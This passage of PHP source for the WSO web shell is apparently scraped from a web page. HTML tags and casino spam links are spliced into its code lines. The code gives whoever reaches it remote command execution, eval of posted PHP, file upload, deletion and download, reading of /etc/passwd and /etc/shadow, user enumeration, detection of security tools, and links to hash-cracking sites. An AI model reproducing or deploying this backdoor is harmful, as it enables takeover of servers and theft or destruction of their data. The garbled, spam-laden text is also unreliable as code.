<input class="toolsInp" type=text name=f>
<input type=submit value=">>"></form>
</td>
</tr>
<tr>
<td>
<form onsubmit=\"g("Console",null,this.c.value);return false;\"><span>Execute:</span><br />
<input class="toolsInp" type=text name=c value="">
<input type=submit value=">>"></form>
</td>
<td>
<form method="post" ENCTYPE="multipart/form-data">
<input type=hidden name=a value="FilesMAn">
<input type=hidden name=c value="" . $GLOBALS["cwd"] ."">
<input type=hidden name=p1 value="uploadFile">
<input type=hidden name=charset value="" . (isset($_POST["charset"])?$_POST["charset"]:"") . "">
		<span>Upload file:</span>$is_writable<br />
<input class="toolsInp" type=file name=f>
<input type=submit value=">>"></form>
<p><br ></td>
</tr>
</table>
</div>
<p></body></html>";<br />
}</p>
<p>if (!function_exists("posix_getpwuid") &#038;&#038; (strpos($GLOBALS["disable_functions"], "posix_getpwuid")===false)) {<br />
 function posix_getpwuid($p) {return false;} }<br />
if (!function_exists("posix_getgrgid") &#038;&#038; (strpos($GLOBALS["disable_functions"], "posix_getgrgid")===false)) {<br />
 function posix_getgrgid($p) {return false;} }</p>
<p>function wsoEx($in) {<br />
	$out = "";<br />
	if (function_exists("exec")) {<br />
		@exec($in,$out);<br />
		$out = @join("\n",$out);<br />
	} elseif (function_exists("passthru")) {<br />
		ob_start();<br />
		@passthru($in);<br />
		$out = ob_get_clean();<br />
	} elseif (function_exists("system")) {<br />
		ob_start();<br />
		@system($in);<br />
		$out = ob_get_clean();<br />
	} elseif (function_exists("shell_exec")) {<br />
		$out = shell_exec($in);<br />
	} elseif (is_resource($f = @popen($in,"r"))) {<br />
		$out = "";<br />
		while(!@feof($f))<br />
			$out .= fread($f,1024);<br />
		pclose($f);<br />
	}<br />
	return $out;<br />
}</p>
<p>function wsoViewSize($s) {<br />
 if (is_int($s))<br />
 $s = sprintf("%u", $s);</p>
<p>	if($s >= 1073741824)<br />
		return sprintf("%1.2f", $s / 1073741824 ). " GB";<br />
	elseif($s >= 1048576)<br />
		return sprintf("%1.2f", $s / 1048576 ) . " MB";<br />
	elseif($s >= 1024)<br />
		return sprintf("%1.2f", $s / 1024 ) . " KB";<br />
	else<br />
		return $s . " B";</p>
<p>}</p>
<p>function wsoPerms($p) {<br />
	if (($p &#038; 0xC000) == 0xC000)$i = "s";<br />
	elseif (($p &#038; 0xA000) == 0xA000)$i = "l";<br />
	elseif (($p &#038; 0x8000) == 0x8000)$i = "-";<br />
	elseif (($p &#038; 0x6000) == 0x6000)$i = "b";<br />
	elseif (($p &#038; 0x4000) == 0x4000)$i = "d";<br />
	elseif (($p &#038; 0x2000) == 0x2000)$i = "c";<br />
	elseif (($p &#038; 0x1000) == 0x1000)$i = "p";<br />
	else $i = "u";<br />
	$i .= (($p &#038; 0x0100) ? "r" : "-");<br />
	$i .= (($p &#038; 0x0080) ? "w" : "-");<br />
	$i .= (($p &#038; 0x0040) ? (($p &#038; 0x0800) ? "s" : "x" ) : (($p &#038; 0x0800) ? "S" : "-"));<br />
	$i .= (($p &#038; 0x0020) ? "r" : "-");<br />
	$i .= (($p &#038; 0x0010) ? "w" : "-");<br />
	$i .= (($p &#038; 0x0008) ? (($p &#038; 0x0400) ? "s" : "x" ) : (($p &#038; 0x0400) ? "S" : "-"));<br />
	$i .= (($p &#038; 0x0004) ? "r" : "-");<br />
	$i .= (($p &#038; 0x0002) ? "w" : "-");<br />
	$i .= (($p &#038; <a href="http://casinopalace.gr/">casino greece</a> 0x0001) ? (($p &#038; 0x0200) ? "t" : "x" ) : (($p &#038; 0x0200) ? "T" : "-"));<br />
	return $i;<br />
}</p>
<p>function wsoPermsColor($f) {<br />
	if (!@is_readable($f))<br />
		return "<font color=#FF0000>" . wsoPerms(@fileperms($f)) . "</font>";<br />
	elseif (!@is_writable($f))<br />
		return "<font color=white>" . wsoPerms(@fileperms($f)) . "</font>";<br />
	else<br />
		return "<font color=#25ff00>" . wsoPerms(@fileperms($f)) . "</font>";<br />
}</p>
<p>function wsoScandir($dir) {<br />
 if(function_exists("scandir")) {<br />
 return scandir($dir);<br />
 } else {<br />
 $dh = opendir($dir);<br />
 while (false !== ($filename = readdir($dh)))<br />
 $files[] = $filename;<br />
 return $files;<br />
 }<br />
}</p>
<p>function wsoWhich($p) {<br />
	$path = wsoEx("which " . $p);<br />
	if(!empty($path))<br />
		return $path;<br />
	return false;<br />
}</p>
<p>function actionSecInfo() {<br />
	wsoHeader();<br />
	echo "<br />
<h1>Server security information</h1>
<div class=content>";<br />
	function wsoSecParam($n, $v) {<br />
		$v = trim($v);<br />
		if($v) {<br />
			echo "<span>" . $n . ": </span>";<br />
			if(strpos($v, "\n") === false)<br />
				echo $v . "<br />";<br />
			else<br />
				echo "
<pre class=ml1>" . $v . "</pre>
<p>";<br />
		}<br />
	}</p>
<p>	wsoSecParam("Server software", @getenv("SERVER_SOFTWARE"));<br />
 if(function_exists("apache_get_modules"))<br />
 wsoSecParam("Loaded Apache modules", implode(", ", apache_get_modules()));<br />
	wsoSecParam("Disabled PHP Functions", $GLOBALS["disable_functions"]?$GLOBALS["disable_functions"]:"none");<br />
	wsoSecParam("Open base dir", @ini_get("open_basedir"));<br />
	wsoSecParam("Safe mode exec dir", @ini_get("safe_mode_exec_dir"));<br />
	wsoSecParam("Safe mode include dir", @ini_get("safe_mode_include_dir"));<br />
	wsoSecParam("cURL support", function_exists("curl_version")?"enabled":"no");<br />
	$temp=array();<br />
	if(function_exists("mysql_get_client_info"))<br />
		$temp[] = "MySql (".mysql_get_client_info().")";<br />
	if(function_exists("mssql_connect"))<br />
		$temp[] = "MSSQL";<br />
	if(function_exists("pg_connect"))<br />
		$temp[] = "PostgreSQL";<br />
	if(function_exists("oci_connect"))<br />
		$temp[] = "Oracle";<br />
	wsoSecParam("Supported databases", implode(", ", $temp));<br />
	echo "<br />";</p>
<p>	if($GLOBALS["os"] == "nix") {<br />
 wsoSecParam("Readable /etc/passwd", @is_readable("/etc/passwd")?"yes <a href="#" onclick="g(\"FilesTools\", \"/etc/\", \"passwd\")">[view]</a>":"no");<br />
 wsoSecParam("Readable /etc/shadow", @is_readable("/etc/shadow")?"yes <a href="#" onclick="g(\"FilesTools\", \"/etc/\", \"shadow\")">[view]</a>":"no");<br />
 wsoSecParam("OS version", @file_get_contents("/proc/version"));<br />
 wsoSecParam("Distr name", @file_get_contents("/etc/issue.net"));<br />
 if(!$GLOBALS["safe_mode"]) {<br />
 $userful = array("gcc","lcc","cc","ld","make","php","perl","python","ruby","tar","gzip","bzip","bzip2","nc","locate","suidperl");<br />
 $danger = array("kav","nod32","bdcored","uvscan","sav","drwebd","clamd","rkhunter","chkrootkit","iptables","ipfw","tripwire","shieldcc","portsentry","snort","ossec","lidsadm","tcplodg","sxid","logcheck","logwatch","sysmask","zmbscap","sawmill","wormscan","ninja");<br />
 $downloaders = array("wget","fetch","lynx","links","curl","get","lwp-mirror");<br />
 echo "<br />";<br />
 $temp=array();<br />
 foreach ($userful as $item)<br />
 if(wsoWhich($item))<br />
 $temp[] = $item;<br />
 wsoSecParam("Userful", implode(", ",$temp));<br />
 $temp=array();<br />
 foreach ($danger as $item)<br />
 if(wsoWhich($item))<br />
 $temp[] = $item;<br />
 wsoSecParam("Danger", implode(", ",$temp));<br />
 $temp=array();<br />
 foreach ($downloaders as $item)<br />
 <a href="http://polskojackpot.com/">casino poland</a> if(wsoWhich($item))<br />
 $temp[] = $item;<br />
 wsoSecParam("Downloaders", implode(", ",$temp));<br />
 echo "<br/>";<br />
 wsoSecParam("HDD space", wsoEx("df -h"));<br />
 wsoSecParam("Hosts", @file_get_contents("/etc/hosts"));<br />
 echo "<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><br />
<table>
<form onsubmit=\"g(null,null,"5",this.param1.value,this.param2.value);return false;\">
<tr>
<td>From</td>
<td>
<input type=text name=param1 value=0></td>
</tr>
<tr>
<td>To</td>
<td>
<input type=text name=param2 value=1000></td>
</tr>
</table>
<input type=submit value=">>"></form>
<p>";<br />
 if (isset ($_POST["p2"], $_POST["p3"]) &#038;&#038; is_numeric($_POST["p2"]) &#038;&#038; is_numeric($_POST["p3"])) {<br />
 $temp = "";<br />
 for(;$_POST["p2"] <= $_POST["p3"];$_POST["p2"] ) {<br />
 $uid = @posix_getpwuid($_POST["p2"]);<br />
 if ($uid)<br />
 $temp .= join(":",$uid)."\n";<br />
 }<br />
 echo "<br/>";<br />
 wsoSecParam("Users", $temp);<br />
 }<br />
 }<br />
	} else {<br />
		wsoSecParam("OS Version",wsoEx("ver"));<br />
		wsoSecParam("Account Settings",wsoEx("net accounts"));<br />
		wsoSecParam("User Accounts",wsoEx("net user"));<br />
	}<br />
	echo "</div>
<p>";<br />
	wsoFooter();<br />
}</p>
<p>function actionPhp() {<br />
	if(isset($_POST["ajax"])) {<br />
 WSOsetcookie(md5($_SERVER["HTTP_HOST"]) . "ajax", true);<br />
		ob_start();<br />
		eval($_POST["p1"]);<br />
		$temp = "document.getElementById("PhpOutput").style.display="";document.getElementById("PhpOutput").innerHTML="" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\"\0") . "";\n";<br />
		echo strlen($temp), "\n", $temp;<br />
		exit;<br />
	}<br />
 if(empty($_POST["ajax"]) &#038;&#038; !empty($_POST["p1"]))<br />
 WSOsetcookie(md5($_SERVER["HTTP_HOST"]) . "ajax", 0);</p>
<p>	wsoHeader();<br />
	if(isset($_POST["p2"]) &#038;&#038; ($_POST["p2"] == "info")) {<br />
		echo "<br />
<h1>PHP info</h1>
<div class=content>
<style>.p {color:#000;}</style>
<p>";<br />
		ob_start();<br />
		phpinfo();<br />
		$tmp = ob_get_clean();<br />
 $tmp = preg_replace(array (<br />
 "!(body|a:\w |body, td, th, h1, h2) {.*}!msiU",<br />
 "!td, th {(.*)}!msiU",<br />
 "!<img[^>] >!msiU",<br />
 ), array (<br />
 "",<br />
 ".e, .v, .h, .h th {$1}",<br />
 ""<br />
 ), $tmp);<br />
		echo str_replace("<br />
<h1","<h2", $tmp) ."</div>
<p>";<br />
	}<br />
 echo "<br />
<h1>Execution PHP-code</h1>
<div class=content>
<form name=pf method=post onsubmit="if(this.ajax.checked){a(\"Php\",null,this.code.value);}else{g(\"Php\",null,this.code.value,\"\");}return false;"><textarea name=code class=bigarea id=PhpCode>".(!empty($_POST["p1"])?htmlspecialchars($_POST["p1"]):"")."</textarea><br />
<input type=submit value=Eval style="margin-top:5px">";<br />
	echo "<br />
<input type=checkbox name=ajax value=1 ".($_COOKIE[md5($_SERVER["HTTP_HOST"])."ajax"]?"checked":"")."> send using AJAX</form>
<pre id=PhpOutput style="".(empty($_POST["p1"])?"display:none;":"")."margin-top:5px;" class=ml1>";
	if(!empty($_POST["p1"])) {
		ob_start();
		eval($_POST["p1"]);
		echo htmlspecialchars(ob_get_clean());
	}
	echo "</pre>
</div>
<p>";<br />
	wsoFooter();<br />
}</p>
<p>function actionFilesMan() {<br />
 if (!empty ($_COOKIE["f"]))<br />
 $_COOKIE["f"] = @unserialize($_COOKIE["f"]);</p>
<p>	if(!empty($_POST["p1"])) {<br />
		switch($_POST["p1"]) {<br />
			case "uploadFile":<br />
				if(!@move_uploaded_file($_FILES["f"]["tmp_name"], $_FILES["f"]["name"]))<br />
					echo "Can"t upload file!";<br />
				break;<br />
			case "mkdir":<br />
				if(!@mkdir($_POST["p2"]))<br />
					echo "Can"t create new dir";<br />
				break;<br />
			case "delete":<br />
				function deleteDir($path) {<br />
					$path = (substr($path,-1)=="/") ? $path:$path."/";<br />
					$dh = opendir($path);<br />
					while ( ($item = readdir($dh) ) !== false) {<br />
						$item = $path.$item;<br />
						if ( (basename($item) == "..") || (basename($item) == ".") )<br />
							continue;<br />
						$type = filetype($item);<br />
						if ($type == "dir")<br />
							deleteDir($item);<br />
						else<br />
							@unlink($item);<br />
					}<br />
					closedir($dh);<br />
					@rmdir($path);<br />
				}<br />
				if(is_array(@$_POST["f"]))<br />
					foreach($_POST["f"] as $f) {<br />
 if($f == "..")<br />
 continue;<br />
						$f = urldecode($f);<br />
						if(is_dir($f))<br />
							deleteDir($f);<br />
						else<br />
							@unlink($f);<br />
					}<br />
				break;<br />
			case "paste":<br />
				if($_COOKIE["act"] == "copy") {<br />
					function copy_paste($c,$s,$d){<br />
						if(is_dir($c.$s)){<br />
							mkdir($d.$s);<br />
							$h = @opendir($c.$s);<br />
							while (($f = @readdir($h)) !== false)<br />
								if (($f != ".") and ($f != ".."))<br />
									copy_paste($c.$s."/",$f, $d.$s."/");<br />
						} elseif(is_file($c.$s))<br />
							@copy($c.$s, $d.$s);<br />
					}<br />
					foreach($_COOKIE["f"] as $f)<br />
						copy_paste($_COOKIE["c"],$f, $GLOBALS["cwd"]);<br />
				} elseif($_COOKIE["act"] == "move") {<br />
					function move_paste($c,$s,$d){<br />
						if(is_dir($c.$s)){<br />
							mkdir($d.$s);<br />
							$h = @opendir($c.$s);<br />
							while (($f = @readdir($h)) !== false)<br />
								if (($f != ".") and ($f != ".."))<br />
									copy_paste($c.$s."/",$f, $d.$s."/");<br />
						} elseif(@is_file($c.$s))<br />
							@copy($c.$s, $d.$s);<br />
					}<br />
					foreach($_COOKIE["f"] as $f)<br />
						@rename($_COOKIE["c"].$f, $GLOBALS["cwd"].$f);<br />
				} elseif($_COOKIE["act"] == "zip") {<br />
					if(class_exists("ZipArchive")) {<br />
 $zip = new ZipArchive();<br />
 if ($zip->open($_POST["p2"], 1)) {<br />
 chdir($_COOKIE["c"]);<br />
 foreach($_COOKIE["f"] as $f) {<br />
 if($f == "..")<br />
 continue;<br />
 if(@is_file($_COOKIE["c"].$f))<br />
 $zip->addFile($_COOKIE["c"].$f, $f);<br />
 elseif(@is_dir($_COOKIE["c"].$f)) {<br />
 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f."/", FilesystemIterator::SKIP_DOTS));<br />
 foreach ($iterator as $key=>$value) {<br />
 $zip->addFile(realpath($key), $key);<br />
 }<br />
 }<br />
 }<br />
 chdir($GLOBALS["cwd"]);<br />
 $zip->close();<br />
 }<br />
 }<br />
				} elseif($_COOKIE["act"] == "unzip") {<br />
					if(class_exists("ZipArchive")) {<br />
 $zip = new ZipArchive();<br />
 foreach($_COOKIE["f"] as $f) {<br />
 if($zip->open($_COOKIE["c"].$f)) {<br />
 $zip->extractTo($GLOBALS["cwd"]);<br />
 $zip->close();<br />
 }<br />
 }<br />
 }<br />
				} elseif($_COOKIE["act"] == "tar") {<br />
 chdir($_COOKIE["c"]);<br />
 $_COOKIE["f"] = array_map("escapeshellarg", $_COOKIE["f"]);<br />
 wsoEx("tar cfzv " . escapeshellarg($_POST["p2"]) . " " . implode(" ", $_COOKIE["f"]));<br />
 chdir($GLOBALS["cwd"]);<br />
				}<br />
				unset($_COOKIE["f"]);<br />
 setcookie("f", "", time() - 3600);<br />
				break;<br />
			default:<br />
 if(!empty($_POST["p1"])) {<br />
					WSOsetcookie("act", $_POST["p1"]);<br />
					WSOsetcookie("f", serialize(@$_POST["f"]));<br />
					WSOsetcookie("c", @$_POST["c"]);<br />
				}<br />
				break;<br />
		}<br />
	}<br />
 wsoHeader();<br />
	echo "<br />
<h1>File manager</h1>
<div class=content><script>p1_=p2_=p3_="";</script>";<br />
	$dirContent = wsoScandir(isset($_POST["c"])?$_POST["c"]:$GLOBALS["cwd"]);<br />
	if($dirContent === false) {	echo "Can\"t open this folder!";wsoFooter(); return; }<br />
	global $sort;<br />
	$sort = array("name", 1);<br />
	if(!empty($_POST["p1"])) {<br />
		if(preg_match("!s_([A-z] )_(\d{1})!", $_POST["p1"], $match))<br />
			$sort = array($match[1], (int)$match[2]);<br />
	}<br />
echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i )
			if(d.files.elements[i].type == "checkbox")
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script></p>
<table width="100%" class="main" cellspacing="0" cellpadding="2">
<form name=files method=post>
<tr>
<th width="13px">
<input type=checkbox onclick="sa()" class=chkbx></th>
<th><a href="#" onclick="g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")">Name</a></th>
<th><a href="#" onclick="g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")">Size</a></th>
<th><a href="#" onclick="g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")">Modify</a></th>
<th>Owner/Group</th>
<th><a href="#" onclick="g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")">Permissions</a></th>
<th>Actions</th>
</tr>
<p>";<br />
	$dirs = $files = array();<br />
	$n = count($dirContent);<br />
	for($i=0;$i<$n;$i ) {<br />
		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));<br />
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));<br />
		$tmp = array("name" => $dirContent[$i],<br />
					 "path" => $GLOBALS["cwd"].$dirContent[$i],<br />
					 "modify" => date("Y-m-d H:i:s", @filemtime($GLOBALS["cwd"] . $dirContent[$i])),<br />
					 "perms" => wsoPermsColor($GLOBALS["cwd"] . $dirContent[$i]),<br />
					 "size" => @filesize($GLOBALS["cwd"].$dirContent[$i]),<br />
					 "owner" => $ow["name"]?$ow["name"]:@fileowner($dirContent[$i]),<br />
					 "group" => $gr["name"]?$gr["name"]:@filegroup($dirContent[$i])<br />
					);<br />
		if(@is_file($GLOBALS["cwd"] . $dirContent[$i]))<br />
			$files[] = array_merge($tmp, array("type" => "file"));<br />
		elseif(@is_link($GLOBALS["cwd"] . $dirContent[$i]))<br />
			$dirs[] = array_merge($tmp, array("type" => "link", "link" => readlink($tmp["path"])));<br />
		elseif(@is_dir($GLOBALS["cwd"] . $dirContent[$i]))<br />
			$dirs[] = array_merge($tmp, array("type" => "dir"));<br />
	}<br />
	$GLOBALS["sort"] = $sort;<br />
	function wsoCmp($a, $b) {<br />
		if($GLOBALS["sort"][0] != "size")<br />
			return strcmp(strtolower($a[$GLOBALS["sort"][0]]), strtolower($b[$GLOBALS["sort"][0]]))*($GLOBALS["sort"][1]?1:-1);<br />
		else<br />
			return (($a["size"] < $b["size"]) ? -1 : 1)*($GLOBALS["sort"][1]?1:-1);<br />
	}<br />
	usort($files, "wsoCmp");<br />
	usort($dirs, "wsoCmp");<br />
	$files = array_merge($dirs, $files);<br />
	$l = 0;<br />
	foreach($files as $f) {<br />
		echo "<br />
<tr".($l?" class=l1":"").">
<td>
<input type=checkbox name="f[]" value="".urlencode($f["name"])."" class=chkbx></td>
<td><a href=# onclick="".(($f["type"]=="file")?"g(\"FilesTools\",null,\"".urlencode($f["name"])."\", \"view\")">".htmlspecialchars($f["name"]):"g(\"FilesMan\",\"".$f["path"]."\");" " . (empty ($f["link"]) ? "" : "title="{$f["link"]}"") . "><b>[ " . htmlspecialchars($f["name"]) . " ]</b>")."</a></td>
<td>".(($f["type"]=="file")?wsoViewSize($f["size"]):$f["type"])."</td>
<td>".$f["modify"]."</td>
<td>".$f["owner"]."/".$f["group"]."</td>
<td><a href=# onclick="g(\"FilesTools\",null,\"".urlencode($f["name"])."\",\"chmod\")">".$f["perms"]<br />
			."</td>
<td><a href="#" onclick="g(\"FilesTools\",null,\"".urlencode($f["name"])."\", \"rename\")">R</a> <a href="#" onclick="g(\"FilesTools\",null,\"".urlencode($f["name"])."\", \"touch\")">T</a>".(($f["type"]=="file")?" <a href="#" onclick="g(\"FilesTools\",null,\"".urlencode($f["name"])."\", \"edit\")">E</a> <a href="#" onclick="g(\"FilesTools\",null,\"".urlencode($f["name"])."\", \"download\")">D</a>":"")."</td>
</tr>
<p>";<br />
		$l = $l?0:1;<br />
	}<br />
	echo "<br />
<tr>
<td colspan=7>
<input type=hidden name=a value="FilesMan">
<input type=hidden name=c value="" . htmlspecialchars($GLOBALS["cwd"]) ."">
<input type=hidden name=charset value="". (isset($_POST["charset"])?$_POST["charset"]:"")."">
<select name="p1">
<option value="copy">Copy</option>
<option value="move">Move</option>
<option value="delete">Delete</option>
<p>";<br />
 if(class_exists("ZipArchive"))<br />
 echo "<br />
<option value="zip">Compress (zip)</option>
<option value="unzip">Uncompress (zip)</option>
<p>";<br />
 echo "<br />
<option value="tar">Compress (tar.gz)</option>
<p>";<br />
 if(!empty($_COOKIE["act"]) &#038;&#038; @count($_COOKIE["f"]))<br />
 echo "<br />
<option value="paste">Paste / Compress</option>
<p>";<br />
 echo "</select>
<p>&#038;";<br />
 if(!empty($_COOKIE["act"]) &#038;&#038; @count($_COOKIE["f"]) &#038;&#038; (($_COOKIE["act"] == "zip") || ($_COOKIE["act"] == "tar")))<br />
 echo "file name:<br />
<input type=text name=p2 value="wso_" . date("Ymd_His") . "." . ($_COOKIE["act"] == "zip"?"zip":"tar.gz") . "">&#038;";<br />
 echo "<br />
<input type="submit" value=">>"></td>
</tr>
</form>
</table>
</div>
<p>";<br />
	wsoFooter();<br />
}</p>
<p>function actionStringTools() {<br />
	if(!function_exists("hex2bin")) {function hex2bin($p) {return decbin(hexdec($p));}}<br />
 if(!function_exists("binhex")) {function binhex($p) {return dechex(bindec($p));}}<br />
	if(!function_exists("hex2ascii")) {function hex2ascii($p){$r="";for($i=0;$i<strLen($p);$i =2){$r.=chr(hexdec($p[$i].$p[$i 1]));}return $r;}}<br />
	if(!function_exists("ascii2hex")) {function ascii2hex($p){$r="";for($i=0;$i<strlen($p); $i)$r.= sprintf("X",ord($p[$i]));return strtoupper($r);}}<br />
	if(!function_exists("full_urlencode")) {function full_urlencode($p){$r="";for($i=0;$i<strlen($p); $i)$r.= "%".dechex(ord($p[$i]));return strtoupper($r);}}<br />
	$stringTools = array(<br />
		"Base64 encode" => "base64_encode",<br />
		"Base64 decode" => "base64_decode",<br />
		"Url encode" => "urlencode",<br />
		"Url decode" => "urldecode",<br />
		"Full urlencode" => "full_urlencode",<br />
		"md5 hash" => "md5",<br />
		"sha1 hash" => "sha1",<br />
		"crypt" => "crypt",<br />
		"CRC32" => "crc32",<br />
		"ASCII to HEX" => "ascii2hex",<br />
		"HEX to ASCII" => "hex2ascii",<br />
		"HEX to DEC" => "hexdec",<br />
		"HEX to BIN" => "hex2bin",<br />
		"DEC to HEX" => "dechex",<br />
		"DEC to BIN" => "decbin",<br />
		"BIN to HEX" => "binhex",<br />
		"BIN to DEC" => "bindec",<br />
		"String to lower case" => "strtolower",<br />
		"String to upper case" => "strtoupper",<br />
		"Htmlspecialchars" => "htmlspecialchars",<br />
		"String length" => "strlen",<br />
	);<br />
	if(isset($_POST["ajax"])) {<br />
		WSOsetcookie(md5($_SERVER["HTTP_HOST"])."ajax", true);<br />
		ob_start();<br />
		if(in_array($_POST["p1"], $stringTools))<br />
			echo $_POST["p1"]($_POST["p2"]);<br />
		$temp = "document.getElementById("strOutput").style.display="";document.getElementById("strOutput").innerHTML="".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\"\0")."";\n";<br />
		echo strlen($temp), "\n", $temp;<br />
		exit;<br />
	}<br />
 if(empty($_POST["ajax"])&#038;&#038;!empty($_POST["p1"]))<br />
		WSOsetcookie(md5($_SERVER["HTTP_HOST"])."ajax", 0);<br />
	wsoHeader();<br />
	echo "<br />
<h1>String conversions</h1>
<div class=content>";<br />
	echo "<br />
<form name="toolsForm" onSubmit="if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;">
<select name="selectTool">";<br />
	foreach($stringTools as $k => $v)<br />
		echo "<br />
<option value="".htmlspecialchars($v)."">".$k."</option>
<p>";<br />
		echo "</select>
<input type="submit" value=">>"/><br />
<input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER["HTTP_HOST"])."ajax"]?"checked":"")."> send using AJAX<br /><textarea name="input" style="margin-top:5px" class=bigarea>".(empty($_POST["p1"])?"":htmlspecialchars(@$_POST["p2"]))."</textarea></form>
<pre class="ml1" style="".(empty($_POST["p1"])?"display:none;":"")."margin-top:5px" id="strOutput">";
	if(!empty($_POST["p1"])) {
		if(in_array($_POST["p1"], $stringTools))echo htmlspecialchars($_POST["p1"]($_POST["p2"]));
	}
	echo"</pre>
</div>
<p>
<h1>Search files:</h1>
<div class=content>
<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\">
<table cellpadding="1" cellspacing="0" width="50%">
<tr>
<td width="1%">Text:</td>
<td>
<input type="text" name="text" style="width:100%"></td>
</tr>
<tr>
<td>Path:</td>
<td>
<input type="text" name="cwd" value="". htmlspecialchars($GLOBALS["cwd"]) ."" style="width:100%"></td>
</tr>
<tr>
<td>Name:</td>
<td>
<input type="text" name="filename" value="*" style="width:100%"></td>
</tr>
<tr>
<td></td>
<td>
<input type="submit" value=">>"></td>
</tr>
</table>
</form>
<p>";</p>
<p>	function wsoRecursiveGlob($path) {<br />
		if(substr($path, -1) != "/")<br />
			$path.="/";<br />
		$paths = @array_unique(@array_merge(@glob($path.$_POST["p3"]), @glob($path."*", GLOB_ONLYDIR)));<br />
		if(is_array($paths)&#038;&#038;@count($paths)) {<br />
			foreach($paths as $item) {<br />
				if(@is_dir($item)){<br />
					if($path!=$item)<br />
						wsoRecursiveGlob($item);<br />
				} else {<br />
					if(empty($_POST["p2"]) || @strpos(file_get_contents($item), $_POST["p2"])!==false)<br />
						echo "<a href="#" onclick="g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")">".htmlspecialchars($item)."</a><br />";<br />
				}<br />
			}<br />
		}<br />
	}<br />
	if(@$_POST["p3"])<br />
		wsoRecursiveGlob($_POST["c"]);<br />
	echo "</div>
<p>
<h1>Search for hash:</h1>
<div class=content>
<form method="post" target="_blank" name="hf">
<input type="text" name="hash" style="width:200px;"></p>
<input type="hidden" name="act" value="find"/>
<input type="button" value="hashcracking.ru" onclick=\"document.hf.action="https://hashcracking.ru/index.php";document.hf.submit()\"></p>
<input type="button" value="md5.rednoize.com" onclick=\"document.hf.action="http://md5.rednoize.com/?q=" document.hf.hash.value "&#038;s=md5";document.hf.submit()\"></p>
<input type="button" value="crackfor.me" onclick=\"document.hf.action="http://crackfor.me/index.php";document.hf.submit()\">
		</form>
</div>
<p>";<br />
	wsoFooter();<br />
}</p>
<p>function actionFilesTools() {<br />
	if( isset($_POST["p1"]) )<br />
		$_POST["p1"] = urldecode($_POST["p1"]);<br />
	if(@$_POST["p2"]=="download") {<br />
		if(@is_file($_POST["p1"]) &#038;&#038; @is_readable($_POST["p1"])) {<br />
			ob_start("ob_gzhandler", 4096);<br />
			header("Content-Disposition: attachment; filename=".basename($_POST["p1"]));<br />
			if (function_exists("mime_content_type")) {<br />
				$type = @mime_content_type($_POST["p1"]);<br />
				header("Content-Type: " . $type);<br />
			} else<br />
 header("Content-Type: application/octet-stream");<br />
			$fp = @fopen($_POST["p1"], "r");<br />
			if($fp) {<br />
				while(!@feof($fp))<br />
					echo @fread($fp, 1024);<br />
				fclose($fp);<br />
			}<br />
		}exit;<br />
	}<br />
	if( @$_POST["p2"] == "mkfile" ) {<br />
		if(!file_exists($_POST["p1"])) {<br />
			$fp = @fopen($_POST["p1"], "w");<br />
			if($fp) {<br />
				$_POST["p2"] = "edit";<br />
				fclose($fp);<br />
			}<br />
		}<br />
	}<br />
	wsoHeader();<br />
	echo "<br />
<h1>File tools</h1>
<div class=content>";<br />
	if( !file_exists(@$_POST["p1"]) ) {<br />
		echo "File not exists";<br />
		wsoFooter();<br />
		return;<br />
	}<br />
	$uid = @posix_getpwuid(@fileowner($_POST["p1"]));<br />
	if(!$uid) {<br />
		$uid["name"] = @fileowner($_POST["p1"]);<br />
		$gid["name"] = @filegroup($_POST["p1"]);<br />
	} else $gid = @posix_getgrgid(@filegroup($_POST["p1"]));<br />
	echo "<span>Name:</span> ".htmlspecialchars(@basename($_POST["p1"]))." <span>Size:</span> ".(is_file($_POST["p1"])?wsoViewSize(filesize($_POST["p1"])):"-")." <span>Permission:</span> ".wsoPermsColor($_POST["p1"])." <span>Owner/Group:</span> ".$uid["name"]."/".$gid["name"]."<br />";<br />
	echo "<span>Change time:</span> ".date("Y-m-d H:i:s",filectime($_POST["p1"]))." <span>Access time:</span> ".date("Y-m-d H:i:s",fileatime($_POST["p1"]))." <span>Modify time:</span> ".date("Y-m-d H:i:s",filemtime($_POST["p1"]))."</p>
<p>";<br />
	if( empty($_POST["p2"]) )<br />
		$_POST["p2"] = "view";<br />
	if( is_file($_POST["p1"]) )<br />
		$m = array("View", "Highlight", "Download", "Hexdump", "Edit", "Chmod", "Rename", "Touch");<br />
	else<br />
		$m = array("Chmod", "Rename", "Touch");<br />
	foreach($m as $v)<br />
		echo "<a href=# onclick="g(null,null,\"" . urlencode($_POST["p1"]) . "\",\"".strtolower($v)."\")">".((strtolower($v)==@$_POST["p2"])?"<b>[ ".$v." ]</b>":$v)."</a> ";<br />
	echo "</p>
<p>";<br />
	switch($_POST["p2"]) {<br />
		case "view":<br />
			echo "
<pre class=ml1>";
			$fp = @fopen($_POST["p1"], "r");
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo "</pre>
<p>";<br />
			break;<br />
		case "highlight":<br />
			if( @is_readable($_POST["p1"]) ) {<br />
				echo "
<div class=ml1 style="background-color: #e1e1e1;color:black;">";<br />
				$code = @highlight_file($_POST["p1"],true);<br />
				echo str_replace(array("<span ","</span>"), array("<font ","</font>"),$code)."</div>
<p>";<br />
			}<br />
			break;<br />
		case "chmod":<br />
			if( !empty($_POST["p3"]) ) {<br />
				$perms = 0;<br />
				for($i=strlen($_POST["p3"])-1;$i>=0;--$i)<br />
					$perms = (int)$_POST["p3"][$i]*pow(8, (strlen($_POST["p3"])-$i-1));<br />
				if(!@chmod($_POST["p1"], $perms))<br />
